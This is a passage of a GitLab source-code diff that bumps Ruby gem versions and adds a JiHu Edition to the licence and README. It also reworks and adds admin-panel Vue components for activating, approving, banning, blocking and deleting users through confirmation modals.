gitlab-sidekiq-fetcher (0.5.6)
sidekiq (~> 5)
gitlab-styles (6.2.0)
@@ -532,7 +529,7 @@ GEM
retriable (>= 2.0, < 4.0)
rexml
signet (~> 0.12)
- google-cloud-env (1.4.0)
+ google-cloud-env (1.5.0)
faraday (>= 0.17.3, < 2.0)
google-protobuf (3.17.1)
googleapis-common-protos-types (1.0.6)
@@ -618,7 +615,7 @@ GEM
hana (1.3.6)
hangouts-chat (0.0.5)
hashdiff (1.0.1)
- hashie (3.6.0)
+ hashie (4.1.0)
hashie-forbidden_attributes (0.1.1)
hashie (>= 3.0)
health_check (3.0.0)
@@ -678,9 +675,8 @@ GEM
hana (~> 1.3)
regexp_parser (~> 1.5)
uri_template (~> 0.7)
- jsonpath (1.0.5)
+ jsonpath (1.1.0)
multi_json
- to_regexp (~> 0.2.1)
jwt (2.1.0)
kaminari (1.2.1)
activesupport (>= 4.1.0)
@@ -702,7 +698,7 @@ GEM
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
- kubeclient (4.9.1)
+ kubeclient (4.9.2)
http (>= 3.0, < 5.0)
jsonpath (~> 1.0)
recursive-open-struct (~> 1.1, >= 1.1.1)
@@ -762,7 +758,7 @@ GEM
mini_histogram (0.3.1)
mini_magick (4.10.1)
mini_mime (1.0.2)
- mini_portile2 (2.5.0)
+ mini_portile2 (2.5.1)
minitest (5.11.3)
mixlib-cli (2.1.8)
mixlib-config (3.0.9)
@@ -800,7 +796,7 @@ GEM
netrc (0.11.0)
nio4r (2.5.4)
no_proxy_fix (0.1.2)
- nokogiri (1.11.4)
+ nokogiri (1.11.5)
mini_portile2 (~> 2.5.0)
racc (~> 1.4)
nokogumbo (2.0.2)
@@ -810,7 +806,7 @@ GEM
shellany (~> 0.0)
numerizer (0.2.0)
oauth (0.5.4)
- oauth2 (1.4.4)
+ oauth2 (1.4.7)
faraday (>= 0.8, < 2.0)
jwt (>= 1.0, < 3.0)
multi_json (~> 1.3)
@@ -833,8 +829,8 @@ GEM
train-core
wmi-lite (~> 1.0)
oj (3.10.6)
- omniauth (1.9.0)
- hashie (>= 3.4.6, < 3.7.0)
+ omniauth (1.9.1)
+ hashie (>= 3.4.6)
rack (>= 1.6.2, < 3)
omniauth-atlassian-oauth2 (0.2.0)
omniauth (>= 1.1.1)
@@ -844,8 +840,8 @@ GEM
omniauth-authentiq (0.3.3)
jwt (>= 1.5)
omniauth-oauth2 (>= 1.5)
- omniauth-azure-activedirectory-v2 (0.1.1)
- omniauth-oauth2
+ omniauth-azure-activedirectory-v2 (1.0.0)
+ omniauth-oauth2 (~> 1.7)
omniauth-azure-oauth2 (0.0.10)
jwt (>= 1.0, < 3.0)
omniauth (~> 1.0)
@@ -874,9 +870,9 @@ GEM
omniauth-oauth (1.1.0)
oauth
omniauth (~> 1.0)
- omniauth-oauth2 (1.6.0)
- oauth2 (~> 1.1)
- omniauth (~> 1.9)
+ omniauth-oauth2 (1.7.1)
+ oauth2 (~> 1.4)
+ omniauth (>= 1.9, < 3)
omniauth-oauth2-generic (0.2.2)
omniauth-oauth2 (~> 1.0)
omniauth-salesforce (1.0.5)
@@ -922,6 +918,8 @@ GEM
peek (1.1.0)
railties (>= 4.0.0)
pg (1.2.3)
+ pg_query (2.1.0)
+ google-protobuf (>= 3.17.1)
plist (3.6.0)
png_quantizator (0.2.1)
po_to_json (1.0.1)
@@ -1025,11 +1023,12 @@ GEM
msgpack (>= 0.4.3)
optimist (>= 3.0.0)
rchardet (1.8.0)
+ rdoc (6.3.2)
re2 (1.2.0)
recaptcha (4.13.1)
json
- recursive-open-struct (1.1.2)
- redis (4.1.3)
+ recursive-open-struct (1.1.3)
+ redis (4.1.4)
redis-actionpack (5.2.0)
actionpack (>= 5, < 7)
redis-rack (>= 2.1.0, < 3)
@@ -1037,7 +1036,7 @@ GEM
redis-activesupport (5.2.0)
activesupport (>= 3, < 7)
redis-store (>= 1.3, < 2)
- redis-namespace (1.7.0)
+ redis-namespace (1.8.1)
redis (>= 3.0.4)
redis-rack (2.1.2)
rack (>= 2.0.8, < 3)
@@ -1263,7 +1262,7 @@ GEM
activesupport (>= 3)
attr_required (>= 0.0.5)
httpclient (>= 2.4)
- sys-filesystem (1.1.6)
+ sys-filesystem (1.1.9)
ffi
sysexits (1.2.0)
temple (0.8.2)
@@ -1286,10 +1285,9 @@ GEM
timecop (0.9.1)
timeliness (0.3.10)
timfel-krb5-auth (0.8.3)
- to_regexp (0.2.1)
toml (0.2.0)
parslet (~> 1.8.0)
- toml-rb (1.0.0)
+ toml-rb (2.0.1)
citrus (~> 3.0, > 3.0)
tomlrb (1.3.0)
tpm-key_attestation (0.9.0)
@@ -1402,17 +1400,17 @@ DEPENDENCIES
acme-client (~> 2.0, >= 2.0.6)
activerecord-explain-analyze (~> 0.1)
acts-as-taggable-on (~> 7.0)
- addressable (~> 2.7)
+ addressable (~> 2.8)
akismet (~> 3.0)
apollo_upload_server (~> 2.0.2)
asana (~> 0.10.3)
asciidoctor (~> 2.0.10)
asciidoctor-include-ext (~> 0.3.1)
- asciidoctor-kroki (~> 0.4.0)
+ asciidoctor-kroki (~> 0.5.0)
asciidoctor-plantuml (~> 0.0.12)
atlassian-jwt (~> 0.2.0)
attr_encrypted (~> 3.1.0)
- autoprefixer-rails (= 10.2.0.0)
+ autoprefixer-rails (= 10.2.5.1)
awesome_print
aws-sdk-cloudformation (~> 1)
aws-sdk-core (~> 3)
@@ -1474,6 +1472,7 @@ DEPENDENCIES
fog-aliyun (~> 0.3)
fog-aws (~> 3.9)
fog-core (= 2.1.0)
+ fog-google (~> 1.15)
fog-local (~> 0.6)
fog-openstack (~> 1.0)
fog-rackspace (~> 0.1.1)
@@ -1483,21 +1482,18 @@ DEPENDENCIES
gettext (~> 3.3)
gettext_i18n_rails (~> 1.8.0)
gettext_i18n_rails_js (~> 1.3)
- gitaly (~> 14.0.0.pre.rc2)
+ gitaly (~> 14.1.0.pre.rc3)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
- gitlab-dangerfiles (~> 2.1.2)
- gitlab-experiment (~> 0.5.4)
+ gitlab-dangerfiles (~> 2.2.2)
+ gitlab-experiment (~> 0.6.1)
gitlab-fog-azure-rm (~> 1.1.1)
- gitlab-fog-google (~> 1.13)
- gitlab-labkit (~> 0.18.0)
- gitlab-license (~> 1.5)
+ gitlab-labkit (~> 0.20.0)
+ gitlab-license (~> 2.0)
gitlab-mail_room (~> 0.0.9)
gitlab-markup (~> 1.7.1)
gitlab-net-dns (~> 0.9.1)
gitlab-omniauth-openid-connect (~> 0.4.0)
- gitlab-pg_query (~> 2.0.4)
- gitlab-rdoc (~> 6.3.2)
gitlab-sidekiq-fetcher (= 0.5.6)
gitlab-styles (~> 6.2.0)
gitlab_chronic_duration (~> 0.10.6.2)
@@ -1538,7 +1534,7 @@ DEPENDENCIES
kas-grpc (~> 0.0.2)
knapsack (~> 1.21.1)
kramdown (~> 2.3.1)
- kubeclient (~> 4.9.1)
+ kubeclient (~> 4.9.2)
lefthook (~> 0.7.0)
letter_opener_web (~> 1.4.0)
license_finder (~> 6.0)
@@ -1567,7 +1563,7 @@ DEPENDENCIES
omniauth-atlassian-oauth2 (~> 0.2.0)
omniauth-auth0 (~> 2.0.0)
omniauth-authentiq (~> 0.3.3)
- omniauth-azure-activedirectory-v2 (~> 0.1)
+ omniauth-azure-activedirectory-v2 (~> 1.0)
omniauth-azure-oauth2 (~> 0.0.9)
omniauth-cas3 (~> 1.1.4)
omniauth-facebook (~> 4.0.0)
@@ -1586,6 +1582,7 @@ DEPENDENCIES
parslet (~> 1.8)
peek (~> 1.1)
pg (~> 1.1)
+ pg_query (~> 2.1)
png_quantizator (~> 0.2.1)
premailer-rails (~> 1.10.3)
prometheus-client-mmap (~> 0.12.0)
@@ -1606,10 +1603,11 @@ DEPENDENCIES
rainbow (~> 3.0)
rblineprof (~> 0.3.6)
rbtrace (~> 0.4)
+ rdoc (~> 6.3.2)
re2 (~> 1.2.0)
recaptcha (~> 4.11)
- redis (~> 4.0)
- redis-namespace (~> 1.7.0)
+ redis (~> 4.1.4)
+ redis-namespace (~> 1.8.1)
redis-rails (~> 5.0.2)
request_store (~> 1.5)
responders (~> 3.0)
@@ -1659,7 +1657,7 @@ DEPENDENCIES
thin (~> 1.8.0)
thrift (>= 0.14.0)
timecop (~> 0.9.1)
- toml-rb (~> 1.0.0)
+ toml-rb (~> 2.0)
truncato (~> 0.7.11)
u2f (~> 0.2.1)
unf (~> 0.1.4)
diff --git a/LICENSE b/LICENSE
index 216125d93c7..690a9a3966b 100644
--- a/LICENSE
+++ b/LICENSE
@@ -4,6 +4,7 @@ Portions of this software are licensed as follows:
* All content residing under the "doc/" directory of this repository is licensed under "Creative Commons: CC BY-SA 4.0 license".
* All content that resides under the "ee/" directory of this repository, if that directory exists, is licensed under the license defined in "ee/LICENSE".
+* All content that resides under the "jh/" directory of this repository, if that directory exists, is licensed under the license defined in "jh/LICENSE".
* All client-side JavaScript (when served directly or after being compiled, arranged, augmented, or combined), is licensed under the "MIT Expat" license.
* All third party components incorporated into the GitLab Software are licensed under the original license provided by the owner of the applicable component.
* Content outside of the above mentioned directories or restrictions above is available under the "MIT Expat" license as defined below.
diff --git a/README.md b/README.md
index 05193e71c7e..f8eb17cf855 100644
--- a/README.md
+++ b/README.md
@@ -23,10 +23,11 @@ To see how GitLab looks please see the [features page on our website](https://ab
## Editions
-There are two editions of GitLab:
+There are three editions of GitLab:
- GitLab Community Edition (CE) is available freely under the MIT Expat license.
- GitLab Enterprise Edition (EE) includes [extra features](https://about.gitlab.com/pricing/#compare-options) that are more useful for organizations with more than 100 users. To use EE and get official support please [become a subscriber](https://about.gitlab.com/pricing/).
+- JiHu Edition (JH) tailored specifically for the [Chinese market](https://about.gitlab.cn/).
## Licensing
diff --git a/app/assets/javascripts/activities.js b/app/assets/javascripts/activities.js
index b671d038ce8..f45af5fe08e 100644
--- a/app/assets/javascripts/activities.js
+++ b/app/assets/javascripts/activities.js
@@ -42,7 +42,7 @@ export default class Activities {
}
updateTooltips() {
- localTimeAgo($('.js-timeago', '.content_list'));
+ localTimeAgo(document.querySelectorAll('.content_list .js-timeago'));
}
reloadActivities() {
diff --git a/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js b/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
index a357d5d2f1f..cfa2f4b8762 100644
--- a/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
+++ b/app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js
@@ -1,3 +1,4 @@
+import initSetHelperText from '~/pages/admin/application_settings/metrics_and_profiling/usage_statistics';
import PayloadPreviewer from '~/pages/admin/application_settings/payload_previewer';
export default () => {
@@ -5,3 +6,5 @@ export default () => {
new PayloadPreviewer(trigger).init();
});
};
+
+initSetHelperText();
diff --git a/app/assets/javascripts/admin/users/components/actions/activate.vue b/app/assets/javascripts/admin/users/components/actions/activate.vue
index 99c260bf11e..74e9c60a57b 100644
--- a/app/assets/javascripts/admin/users/components/actions/activate.vue
+++ b/app/assets/javascripts/admin/users/components/actions/activate.vue
@@ -1,6 +1,16 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
+
+// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
+const messageHtml = `
+ <p>${s__('AdminUsers|Reactivating a user will:')}</p>
+ <ul>
+ <li>${s__('AdminUsers|Restore user access to the account, including web, Git and API.')}</li>
+ </ul>
+ <p>${s__('AdminUsers|You can always deactivate their account again if needed.')}</p>
+`;
export default {
components: {
@@ -25,9 +35,14 @@ export default {
title: sprintf(s__('AdminUsers|Activate user %{username}?'), {
username: this.username,
}),
- message: s__('AdminUsers|You can always deactivate their account again if needed.'),
- okVariant: 'confirm',
- okTitle: s__('AdminUsers|Activate'),
+ messageHtml,
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.activate,
+ attributes: [{ variant: 'confirm' }],
+ },
}),
};
},
@@ -36,9 +51,7 @@ export default {
</script>
<template>
- <div class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
- <gl-dropdown-item>
- <slot></slot>
- </gl-dropdown-item>
- </div>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/approve.vue b/app/assets/javascripts/admin/users/components/actions/approve.vue
index 6fc43c246ea..77a9be8eec2 100644
--- a/app/assets/javascripts/admin/users/components/actions/approve.vue
+++ b/app/assets/javascripts/admin/users/components/actions/approve.vue
@@ -1,21 +1,60 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
+
+// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
+const messageHtml = `
+ <p>${s__('AdminUsers|Approved users can:')}</p>
+ <ul>
+ <li>${s__('AdminUsers|Log in')}</li>
+ <li>${s__('AdminUsers|Access Git repositories')}</li>
+ <li>${s__('AdminUsers|Access the API')}</li>
+ <li>${s__('AdminUsers|Be added to groups and projects')}</li>
+ </ul>
+`;
export default {
components: {
GlDropdownItem,
},
props: {
+ username: {
+ type: String,
+ required: true,
+ },
path: {
type: String,
required: true,
},
},
+ computed: {
+ attributes() {
+ return {
+ 'data-path': this.path,
+ 'data-method': 'put',
+ 'data-modal-attributes': JSON.stringify({
+ title: sprintf(s__('AdminUsers|Approve user %{username}?'), {
+ username: this.username,
+ }),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.approve,
+ attributes: [{ variant: 'confirm', 'data-qa-selector': 'approve_user_confirm_button' }],
+ },
+ messageHtml,
+ }),
+ 'data-qa-selector': 'approve_user_button',
+ };
+ },
+ },
};
</script>
<template>
- <gl-dropdown-item :href="path" data-method="put">
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...attributes }">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/ban.vue b/app/assets/javascripts/admin/users/components/actions/ban.vue
new file mode 100644
index 00000000000..4e9cefbfdd7
--- /dev/null
+++ b/app/assets/javascripts/admin/users/components/actions/ban.vue
@@ -0,0 +1,69 @@
+<script>
+import { GlDropdownItem } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
+
+// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
+const messageHtml = `
+ <p>${s__('AdminUsers|When banned, users:')}</p>
+ <ul>
+ <li>${s__("AdminUsers|Can't log in.")}</li>
+ <li>${s__("AdminUsers|Can't access Git repositories.")}</li>
+ </ul>
+ <p>${s__('AdminUsers|You can unban their account in the future. Their data remains intact.')}</p>
+ <p>${sprintf(
+ s__('AdminUsers|Learn more about %{link_start}banned users.%{link_end}'),
+ {
+ link_start: `<a href="${helpPagePath('user/admin_area/moderate_users', {
+ anchor: 'ban-a-user',
+ })}" target="_blank">`,
+ link_end: '</a>',
+ },
+ false,
+ )}</p>
+`;
+
+export default {
+ components: {
+ GlDropdownItem,
+ },
+ props: {
+ username: {
+ type: String,
+ required: true,
+ },
+ path: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ modalAttributes() {
+ return {
+ 'data-path': this.path,
+ 'data-method': 'put',
+ 'data-modal-attributes': JSON.stringify({
+ title: sprintf(s__('AdminUsers|Ban user %{username}?'), {
+ username: this.username,
+ }),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.ban,
+ attributes: [{ variant: 'confirm' }],
+ },
+ messageHtml,
+ }),
+ };
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
+</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/block.vue b/app/assets/javascripts/admin/users/components/actions/block.vue
index 68dfefe14c2..03557008a89 100644
--- a/app/assets/javascripts/admin/users/components/actions/block.vue
+++ b/app/assets/javascripts/admin/users/components/actions/block.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
const messageHtml = `
@@ -11,6 +12,7 @@ const messageHtml = `
<li>${s__('AdminUsers|Personal projects will be left')}</li>
<li>${s__('AdminUsers|Owned groups will be left')}</li>
</ul>
+ <p>${s__('AdminUsers|You can always unblock their account, their data will remain intact.')}</p>
`;
export default {
@@ -34,8 +36,13 @@ export default {
'data-method': 'put',
'data-modal-attributes': JSON.stringify({
title: sprintf(s__('AdminUsers|Block user %{username}?'), { username: this.username }),
- okVariant: 'confirm',
- okTitle: s__('AdminUsers|Block'),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.block,
+ attributes: [{ variant: 'confirm' }],
+ },
messageHtml,
}),
};
@@ -45,9 +52,7 @@ export default {
</script>
<template>
- <div class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
- <gl-dropdown-item>
- <slot></slot>
- </gl-dropdown-item>
- </div>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/deactivate.vue b/app/assets/javascripts/admin/users/components/actions/deactivate.vue
index 7e0c17ba296..640c8fefc20 100644
--- a/app/assets/javascripts/admin/users/components/actions/deactivate.vue
+++ b/app/assets/javascripts/admin/users/components/actions/deactivate.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
const messageHtml = `
@@ -16,6 +17,9 @@ const messageHtml = `
)}</li>
<li>${s__('AdminUsers|Personal projects, group and user history will be left intact')}</li>
</ul>
+ <p>${s__(
+ 'AdminUsers|You can always re-activate their account, their data will remain intact.',
+ )}</p>
`;
export default {
@@ -41,8 +45,13 @@ export default {
title: sprintf(s__('AdminUsers|Deactivate user %{username}?'), {
username: this.username,
}),
- okVariant: 'confirm',
- okTitle: s__('AdminUsers|Deactivate'),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.deactivate,
+ attributes: [{ variant: 'confirm' }],
+ },
messageHtml,
}),
};
@@ -52,9 +61,7 @@ export default {
</script>
<template>
- <div class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
- <gl-dropdown-item>
- <slot></slot>
- </gl-dropdown-item>
- </div>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/index.js b/app/assets/javascripts/admin/users/components/actions/index.js
index e34b01346b9..4e63a85df89 100644
--- a/app/assets/javascripts/admin/users/components/actions/index.js
+++ b/app/assets/javascripts/admin/users/components/actions/index.js
@@ -1,20 +1,24 @@
import Activate from './activate.vue';
import Approve from './approve.vue';
+import Ban from './ban.vue';
import Block from './block.vue';
import Deactivate from './deactivate.vue';
import Delete from './delete.vue';
import DeleteWithContributions from './delete_with_contributions.vue';
import Reject from './reject.vue';
+import Unban from './unban.vue';
import Unblock from './unblock.vue';
import Unlock from './unlock.vue';
export default {
Activate,
Approve,
+ Ban,
Block,
Deactivate,
Delete,
DeleteWithContributions,
+ Unban,
Unblock,
Unlock,
Reject,
diff --git a/app/assets/javascripts/admin/users/components/actions/reject.vue b/app/assets/javascripts/admin/users/components/actions/reject.vue
index a80c1ff5458..901306455fa 100644
--- a/app/assets/javascripts/admin/users/components/actions/reject.vue
+++ b/app/assets/javascripts/admin/users/components/actions/reject.vue
@@ -1,21 +1,70 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
+
+// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
+const messageHtml = `
+ <p>${s__('AdminUsers|Rejected users:')}</p>
+ <ul>
+ <li>${s__('AdminUsers|Cannot sign in or access instance information')}</li>
+ <li>${s__('AdminUsers|Will be deleted')}</li>
+ </ul>
+ <p>${sprintf(
+ s__(
+ 'AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}',
+ ),
+ {
+ link_start: `<a href="${helpPagePath('user/profile/account/delete_account', {
+ anchor: 'associated-records',
+ })}" target="_blank">`,
+ link_end: '</a>',
+ },
+ false,
+ )}</p>
+`;
export default {
components: {
GlDropdownItem,
},
props: {
+ username: {
+ type: String,
+ required: true,
+ },
path: {
type: String,
required: true,
},
},
+ computed: {
+ modalAttributes() {
+ return {
+ 'data-path': this.path,
+ 'data-method': 'delete',
+ 'data-modal-attributes': JSON.stringify({
+ title: sprintf(s__('AdminUsers|Reject user %{username}?'), {
+ username: this.username,
+ }),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.reject,
+ attributes: [{ variant: 'danger' }],
+ },
+ messageHtml,
+ }),
+ };
+ },
+ },
};
</script>
<template>
- <gl-dropdown-item :href="path" data-method="delete">
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unban.vue b/app/assets/javascripts/admin/users/components/actions/unban.vue
new file mode 100644
index 00000000000..8083e26177e
--- /dev/null
+++ b/app/assets/javascripts/admin/users/components/actions/unban.vue
@@ -0,0 +1,53 @@
+<script>
+import { GlDropdownItem } from '@gitlab/ui';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
+
+// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
+const messageHtml = `<p>${s__(
+ 'AdminUsers|You can ban their account in the future if necessary.',
+)}</p>`;
+
+export default {
+ components: {
+ GlDropdownItem,
+ },
+ props: {
+ username: {
+ type: String,
+ required: true,
+ },
+ path: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ modalAttributes() {
+ return {
+ 'data-path': this.path,
+ 'data-method': 'put',
+ 'data-modal-attributes': JSON.stringify({
+ title: sprintf(s__('AdminUsers|Unban user %{username}?'), {
+ username: this.username,
+ }),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.unban,
+ attributes: [{ variant: 'confirm' }],
+ },
+ messageHtml,
+ }),
+ };
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
+</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unblock.vue b/app/assets/javascripts/admin/users/components/actions/unblock.vue
index d4c0f900c94..7de6653e0cd 100644
--- a/app/assets/javascripts/admin/users/components/actions/unblock.vue
+++ b/app/assets/javascripts/admin/users/components/actions/unblock.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
+import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
export default {
components: {
@@ -24,8 +25,13 @@ export default {
'data-modal-attributes': JSON.stringify({
title: sprintf(s__('AdminUsers|Unblock user %{username}?'), { username: this.username }),
message: s__('AdminUsers|You can always block their account again if needed.'),
- okVariant: 'confirm',
- okTitle: s__('AdminUsers|Unblock'),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.unblock,
+ attributes: [{ variant: 'confirm' }],
+ },
}),
};
},
@@ -34,9 +40,7 @@ export default {
</script>
<template>
- <div class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
- <gl-dropdown-item>
- <slot></slot>
- </gl-dropdown-item>
- </div>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unlock.vue b/app/assets/javascripts/admin/users/components/actions/unlock.vue
index 294aaade7c1..10d4fb06d61 100644
--- a/app/assets/javascripts/admin/users/components/actions/unlock.vue
+++ b/app/assets/javascripts/admin/users/components/actions/unlock.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import { I18N_USER_ACTIONS } from '../../constants';
export default {
components: {
@@ -24,8 +25,13 @@ export default {
'data-modal-attributes': JSON.stringify({
title: sprintf(s__('AdminUsers|Unlock user %{username}?'), { username: this.username }),
message: __('Are you sure?'),
- okVariant: 'confirm',
- okTitle: s__('AdminUsers|Unlock'),
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: I18N_USER_ACTIONS.unlock,
+ attributes: [{ variant: 'confirm' }],
+ },
}),
};
},
@@ -34,9 +40,7 @@ export default {
</script>
<template>
- <div class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
- <gl-dropdown-item>
- <slot></slot>
- </gl-dropdown-item>
- </div>
+ <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <slot></slot>
+ </gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue b/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue
new file mode 100644
index 00000000000..413163c8536
--- /dev/null
+++ b/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue
@@ -0,0 +1,151 @@
+<script>
+import { GlModal, GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
+import { s__, sprintf } from '~/locale';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
+
+export default {
+ components: {
+ GlModal,
+ GlButton,
+ GlFormInput,
+ GlSprintf,
+ OncallSchedulesList,
+ },
+ props: {
+ title: {
+ type: String,
+ required: true,
+ },
+ content: {
+ type: String,
+ required: true,
+ },
+ action: {
+ type: String,
+ required: true,
+ },
+ secondaryAction: {
+ type: String,
+ required: true,
+ },
+ deleteUserUrl: {
+ type: String,
+ required: true,
+ },
+ blockUserUrl: {
+ type: String,
+ required: true,
+ },
+ username: {
+ type: String,
+ required: true,
+ },
+ csrfToken: {
+ type: String,
+ required: true,
+ },
+ oncallSchedules: {
+ type: String,
+ required: false,
+ default: '[]',
+ },
+ },
+ data() {
+ return {
+ enteredUsername: '',
+ };
+ },
+ computed: {
+ modalTitle() {
+ return sprintf(this.title, { username: this.username }, false);
+ },
+ secondaryButtonLabel() {
+ return s__('AdminUsers|Block user');
+ },
+ canSubmit() {
+ return this.enteredUsername === this.username;
+ },
+ schedules() {
+ try {
+ return JSON.parse(this.oncallSchedules);
+ } catch (e) {
+ Sentry.captureException(e);
+ }
+ return [];
+ },
+ },
+ methods: {
+ show() {
+ this.$refs.modal.show();
+ },
+ onCancel() {
+ this.enteredUsername = '';
+ this.$refs.modal.hide();
+ },
+ onSecondaryAction() {
+ const { form } = this.$refs;
+
+ form.action = this.blockUserUrl;
+ this.$refs.method.value = 'put';
+
+ form.submit();
+ },
+ onSubmit() {
+ this.$refs.form.submit();
+ this.enteredUsername = '';
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal ref="modal" modal-id="delete-user-modal" :title="modalTitle" kind="danger">
+ <p>
+ <gl-sprintf :message="content">
+ <template #username>
+ <strong>{{ username }}</strong>
+ </template>
+ <template #strong="props">
+ <strong>{{ props.content }}</strong>
+ </template>
+ </gl-sprintf>
+ </p>
+
+ <oncall-schedules-list v-if="schedules.length" :schedules="schedules" :user-name="username" />
+
+ <p>
+ <gl-sprintf :message="s__('AdminUsers|To confirm, type %{username}')">
+ <template #username>
+ <code>{{ username }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
+
+ <form ref="form" :action="deleteUserUrl" method="post" @submit.prevent>
+ <input ref="method" type="hidden" name="_method" value="delete" />
+ <input :value="csrfToken" type="hidden" name="authenticity_token" />
+ <gl-form-input
+ v-model="enteredUsername"
+ autofocus
+ type="text"
+ name="username"
+ autocomplete="off"
+ />
+ </form>
+ <template #modal-footer>
+ <gl-button @click="onCancel">{{ s__('Cancel') }}</gl-button>
+ <gl-button
+ :disabled="!canSubmit"
+ category="secondary"
+ variant="danger"
+ @click="onSecondaryAction"
+ >
+ {{ secondaryAction }}
+ </gl-button>
+ <gl-button :disabled="!canSubmit" category="primary" variant="danger" @click="onSubmit">{{
+ action
+ }}</gl-button>
+ </template>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue b/app/assets/javascripts/admin/users/components/modals/user_modal_manager.vue
